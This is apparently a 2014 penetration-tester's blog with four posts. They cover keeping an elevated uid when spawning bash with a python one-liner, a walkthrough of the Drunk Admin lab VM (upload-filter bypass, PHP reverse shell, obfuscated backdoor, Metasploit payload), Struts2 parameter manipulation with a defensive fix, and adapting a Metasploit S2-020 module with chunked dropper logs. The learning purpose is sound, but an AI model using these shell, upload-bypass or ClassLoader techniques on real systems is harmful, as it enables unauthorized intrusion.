środa, 28 maja 2014

Linux - spawn bash with id elevation

Sometimes during penetration test you can end in situation like that:
>_ term
$ id
uid=1000(<user1>) gid=1000(<group1>) euid=1001(<user2>) groups=1001(<group2>),1000(<group1>)
$ whoami
Mostly it will be remote reverse shell and going:
$ /bin/bash
is not an option xD
There is a nice way to escape from that typing:
$ python -c 'import pty;pty.spawn("/bin/bash")'
it works nice and make your life easier...but in situation like that one you will end with something like that:
>_ term
$ whoami
$ id
uid=1000(<user1>) gid=1000(<group1>) euid=1001(<user2>) groups=1001(<group2>),1000(<group1>)
$ python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.2$ whoami
bash-4.2$ id
uid=1000(<user1>) gid=1000(<group1>) groups=1000(<group1>)
As you can see we went back to user1 losing privileges from user2. When I had to deal with problem like that one I found this solution:
Unfortunately you will mostly always need to compile binary somewhere else and then copy it to target, but in return you got that:
>_ term
$ whoami
$ id
uid=1000(<user1>) gid=1000(<group1>) euid=1001(<user2>) groups=1001(<group2>),1000(<group1>)
$ ./id_ele
uid=1001(<user2>) gid=1000(<user1>) groups=1001(<group2>),1000(<group1>)
python -c 'import pty;pty.spawn("/bin/bash")'
It is working and you are now user2. That solution is nice and it helped me a lot but after while I sat and asked myself: "Why not use some Python magic?". I'm not very familiar with Python but I've found easily method I was looking for:
os.setresuid(ruid, euid, suid)
Set the current process’s real, effective, and saved user ids.
Availability: Unix.
New in version 2.7.
So now shell-spawning command will look like that:
 python -c 'import os,pty; os.setresuid(new_id,new_id,new_id); pty.spawn("/bin/bash")'
Let's give it a try:
>_ term
$ whoami
$ id
uid=1000(<user1>) gid=1000(<group1>) euid=1001(<user2>) groups=1001(<group2>),1000(<group1>)
$ python -c 'import os,pty; os.setresuid(1001,1001,1001); pty.spawn("/bin/bash")'
<user2>@host:/$ whoami
<user2>@host:/$ id
uid=1001(<user2>) gid=1000(<user1>) groups=1001(<group2>),1000(<group1>)
Mission accomplished! No compiling, fast, easy, working. Enjoy!

niedziela, 18 maja 2014

PENTEST LAB - Drunk Admin Web Hacking Challenge 1

“Drunk Admin Web Hacking Challenge 1” is the name of virtual machine which has been created for training purposes. You can grab it from here. Inside archive you will find ready to launch Vmware virtual machine. If you prefer VirtualBox (like I do) you can also use it. Simple create new virtual machine and mount pwnlab-03-cl2.vmdk as hard disk. Important notice! Do not expose that virtual machine to external network (that applies to all virtual machines created for training). You can use host only or internal network with some dhcp server. There are plenty tutorials, about setting your own pentesting lab, in the internet so if you don’t have one just google it. I’ll maybe write about my configuration later (but honestly it’s nothing new or revelatory in it). After everything is set up we are ready to lunch our test.

 If you want to finish this challenge alone stop reading here.

FINAL GOAL: Reveal the hidden message for a date arrange that Bob sent to Alice.

Challenge accepted!!

After setting everything up I started my check with discovering target’s IP.
Looks like virtual machine got IP Let’s look what is running there:
Got ssh and apache running. I’ve launched DirBuster against Apache and opened browser. Looks like image hosting web app. 

Before any further tests I’ve opened Burpsuite and tunneled browser through its proxy. Let’s host some image. After uploading it you can see it hosted, let’s check the uploaded image. 

It has been put in images folder and it has been renamed. That new name looks like md5 hash, but from what. There’s easy way to find that. I went to Burpsuite, find my POST and sent it to repeater. My first thought was that this hash is generated from filename so firstly I’ve changed name from “a.png” to “b.png” and posted it. I’ve got response:

First question here... where is my new file name... that Set-Cookie looks promising. I’ve copied that string and pasted to browser adding extension (png). Here it is, that’s my image:

Now I know that this hash is name related and I decided to try to bruteforce it. Let’s start with md5…

Bingo! Now I can move on. Let’s see if we can upload php…

I was expecting that…let’s try some tricks. First…change name to png.php.

Looks better. Fast check in browser:

Bullseye! Ok, we can upload php, it’s piece of cake now. Let’s go big with reverse php shell (grabbed from here). I’ve encoded it with base64 and pasted to repeater. Post and...

What the...!? There must be some filter looking inside uploaded file for php shell sights. Maybe that filter is not perfect... if I can only see it... wait a minute... after googling for php view file content I got this:

File responsible for uploading is called upload.php so my final php code looked like this:

Let’s send it... success! Let’s see it.

That’s not what we are looking for... check source:

Hello my friend! I was correct. There’s a method looking inside uploaded file and checking it’s content against defined words.

I’m not php developer but I’ve seen some php code here and there and remembered that there’s something that goes $_REQUEST [‘’] which works like $_GET[‘’]. That method is not prohibited so let’s check if it’ll work.

Now I have local file inclusion. Going with php shell from here is not difficult, just send code like that:

and enjoy:

I’ve uploaded page with phpinfo() to find out about disabled functions and there were couple. That's why I used exec() in reverse shell. It has one disadvantage..it returns only last line of stdout, but knowing that I'll just redirect output to files and then view them.You can push reverse shell here by visiting:

and catching the connection with:

Now with shell access we can go through filesystem. I spawned bash using python and command:

cause it looks clearer. It may seems easy but sometimes it is not trivial to find what we are looking for (I’m reffering to hacking challenges like this one). It is a good idea to have a list of directories worth to look through. Here we start in webapp directories so let’s look for anything interesting:

Hmm... file “.proof” doesn’t fit here. Inside I found secret code. Maybe it’s bob password. Fast check with ssh... nope... Let’s write that down and check other files.

There wasn’t anything interesting in webapp folders so I went to user’s home.

Hmm public_html inside bob’s folder. I went to browser to check it and read all files there. It’s encryption/decryption mechanism with some message encrypted in index.php. I’ve played a while here to find connection with that secret message I found in webapp folder. I have to say this part was quite a puzzle for me. After some time I’ve decided to check if that secret pass is encoded. Firs the easiest one... base64... decoded... typed... Bingo! I’ve found the secret message! By the way... check that destination in google maps and look on the photo placed north from that place. Maybe there’s Bob somewhere. Job’s done. But that’s not all…

Earlier I’ve presented the path I followed when I beat that challenge the first time. After that I read about nasty tricks to hide php backdoors in code. It was here (it’s polish page so you probably won’t understand it). If you want a translation of that page leave comment and I’ll contact the author and try to write something here. Let’s go back to the “Drunk Admin Web Hacking Challenge 1”... with knowledge about filter from upload.php I decided to hide my code using, this method:

Nice functions php, can’t say (: Before going crazy with some big-all-have-php-shell I’ve checked disabled functions in phpinfo() again. Probably most shells would need some fixes and that’s not my game here. I’m currently discovering Metasploit framework so I’ve decided to use its payload here. Looking on the php limitations I’ve crossed php payload out. That still leaves me few other payloads types. I chose the python one. Generating python payload is quite simple:

I thought that I’ll just post it using original upload.php but there was “base64” string in it... so not this time. That’s it! I have enough, I’m breaking with you original upload.php. I needed my own upload page on the server. I’ve grabbed some code from here. I couldn’t upload it because there were too many restricted strings in it so I base64 encoded it and uploaded in this form:

Now you see why that article about php backdoors was so helpful for me. I’ve bypassed security check in upload.php and sent my own upload script to server. Below you can see it in action.

And here’s my python payload on the server.

To start Metasploit listener I’ve typed:

and then I fired payload using simple php shell:

Got Meterpreter session:

That’s all! I have to say that I liked that challenge. Maybe because it’s about web app and as web developer I can move around easier. Thanks for reading! cya

czwartek, 8 maja 2014


That, so called vulnerability, which by the way made Struts team develop 3 upgrades in less than week, is a result of the whole framework work-flow concept (dunno how to call it)…and also the lack of proper configuration in web-app. I, for example, knew that in Struts I can set object properties with request parameters but dunno why I’ve never thought how big impact that have on the security. If you think about that…user can change EVERY property action have access to. Of course there are some limitations, action must have setter for that property. But what with properties that are objects, then action just need getter for it and everyone can access them and so on. Now this looks serious  because user can make a little mess with our app. Here’s example:
I’ve created new Struts2 app with 2.3.15 version and added to it new class of user. User class is simple, it consists of two properties: (String) username and (boolean) admin. There are getters and setters and constructor with name argument. I’ve added user object to HelloWorld class and getter to get access to it. In page I check if user is admin or not and welcomes him. Here how this looks:

Now…I know that user object is named “userTest”…let’s try add parameter: userTest.admin=true. Voila Bob is admin now:
User object got also property “username”. Let’s play with it:
Where is Bob…who knows. XSS will go with it also. Now imagine you give user possibility to change username with some form and input validation inside action and no validation inside object because you think that only  validated input will come there. But user change it with request param and you got problem. But that problem is programmer fault because his/her app is not properly secured. It is hard to secure every class in every possible way. Just look on my post about attacking Tomcat 8 using that vulnerability. That exploit just go through objects tree and changes properties responsible for logging. Who would think that everyone will be able to access these objects? Ok…enough rhetorical  questions. We need FIX, we need it NOW! I’ve already provided one solution. Secure everything as damn good as you can…and I wish you luck :) 

I think it’s impossible to secure everything so let’s look for another solution. Struts team provided one partially, and here how it looks:

It’s regex of excluded parameters names. They say it works…it almost worked. You could bypass that in several ways. So there was another workaround (S2-021):
This one solves classLoader problem. I don’t know if this is what is inside patch/new version. But that still leaves us with access to other objects. I looked inside that topic and found that one can implement interface called ParameterNameAware inside class. That will add “acceptableParameterName” method which will be called for every parameter and return true if it’s acceptable or false if it’s not. I set it to always return false and made test. Nothing changed…user properties have been changed. What the…? Few googling later…looks like that method is only called for excluded parameters (excluded by interceptor). So let’s exclude all of them.
 Now looks better, user can’t change anything. 

Now in every action I have list of accepted parameter names and inside “acceptableParameterName” method I check if my list contain provided parameter. Now user can change only things I let him change and action can have full access to objects.
As you can see that vulnerability in Struts2 was quite complex. There are other ways of securing access to objects and their properties and maybe they are commonly used but for me solution provided here looks good. Ahhh, one more thing, implementing this solution will give you one more benefit (or not). You can’t access object setters directly, so accepting parameter “userTest.username” won’t let user change “username” field inside object “userTest”. You must write handlers inside actions. Normally that ParameterInterceptor would find proper class and set property and now it just excludes every param, maybe that’s why parameters weren’t passed to checking method inside action (they were already set by interceptor).That’s all!

środa, 7 maja 2014


Struts2 team recently announced a vulnerability (S2-020) that allowed ClassLoader manipulation which can lead to Remote Code Execution on certain application servers (Tomcat 8 for sure). I’m not sure but fix for that was simply regex which should prohibit sending malicious requests…BUT…there’s a way to bypass that regex and voila all Struts versions before are vulnerable.

I’ve grabbed Metasploit module from here, fast checked the code and launched it. One important thing about that module is it will work only against Tomcat 8 with web app using Struts < 

I was targeting Windows platform. Everything was going smooth, new logfile in docroot with jsp extension was created successfully. Payload has been transfered and…NOTHING. What the..? I’ve tried to open malicious „logfile” in browser and there it is…compilation error:
org.apache.jasper.JasperException: Unable to compile class for JSP:

An error occurred at line: 7 in the jsp file: /dvO0.jsp
String literal is not properly closed by a double-quote
4: - - [07/May/2014:12:08:57 +0200] "GET eg9a6<%@ page import="sun.misc.BASE64Decoder" %> HTTP/1.1" 505 -
5: - - [07/May/2014:12:08:57 +0200] "GET eg9a6<%@ page import="java.io.File" %> HTTP/1.1" 505 -
6: - - [07/May/2014:12:08:57 +0200] "GET eg9a6<% FileOutputStream oFile = new FileOutputStream("f3rYwz", false); %> HTTP/1.1" 505 -
7: - - [01/Jan/1970:00:59:59 +0100] "GET eg9a6<% null" 400 -
8: - - [07/May/2014:12:08:57 +0200] "GET eg9a6<% oFile.flush(); %> HTTP/1.1" 505 -
9: - - [07/May/2014:12:08:57 +0200] "GET eg9a6<% oFile.close(); %> HTTP/1.1" 505 -
10: - - [07/May/2014:12:08:57 +0200] "GET eg9a6<% File f = new File("f3rYwz"); %> HTTP/1.1" 505 –

Line 7…hmmmm…nice timestamp, can’t say. Looks like a bug in logging method (I’ll look into that later). I’ve checked module code and here is how this line should look:

Little different… by the way that’s the most important line in the whole dropper. It’ll write our payload (base64 encoded) to a file on remote system. If you print that base64 encoded exe you will see it’s long string, in my case 97K long. That’s too long, by default max url size is about 8K. I’ve made another test and this time set target as Java. Few secs later I’ve got session on the target. I’ve checked „logfile” and the payload. This time there was no need to use dropper. Java payload wasn’t the shortest one but Tomcat logged it without problems. Ok so now we know that exploit works.

My goal was simple. Make it work with exe payload. As beginner (I think I can call myself like that) this will give me valuable knowledge and new experience. First things first…Metasploit modules are written in Ruby.  I knew what I wanted to do: take the long base64 string and split it into smaller chunks which will later be sent to target. I’ve dumped that string to file and started learning Ruby…Google -> “Ruby hello world” -> nothing new or special….”Ruby read file” -> ok got it working….”ruby split string every 2 characters” -> someone recommended “scan” method. Looks ok and working, even made a version with variable as max split/scan length. After few minutes  of learning I was ready to edit Metasploit module.  Long story short I’ve changed line:


and appended/concated rest of the dropper to variable. What that code do is simply take the base64 string, cut it into pieces of max length equal CHUNK_SIZE (I’ve added new option) and sends these pieces in separate requests. Because exe is now sent in many requests I had to recreate it in Java, hence use of StringBuilder which is then written to file. Time for test. Modifying ClassLoader…writing new logfile…sending dropper…executing new logfile…nothing. What the…?#2 I’ve logged to my target to check files. Malicious logfile looks good, executable has been created and also looks good. The only odd thing I realized was no extension in created executable so I’ve modified module again and added extension to file (I’ve chosen .war to mimic web application archive file). Another test and hello remote session. System exploitation complete! I’ve successfully modified Metasploit module and made it working. Now, let’s see why that exploit works…
When user provide parameter with name “class.classLoader.” or “class[‘classLoader’].” getClass method is invoked in action class with later getClassLoader method. That gives attacker access to classLoader object and possibility to set its properties. I’ll look into that topic later and write my findings here.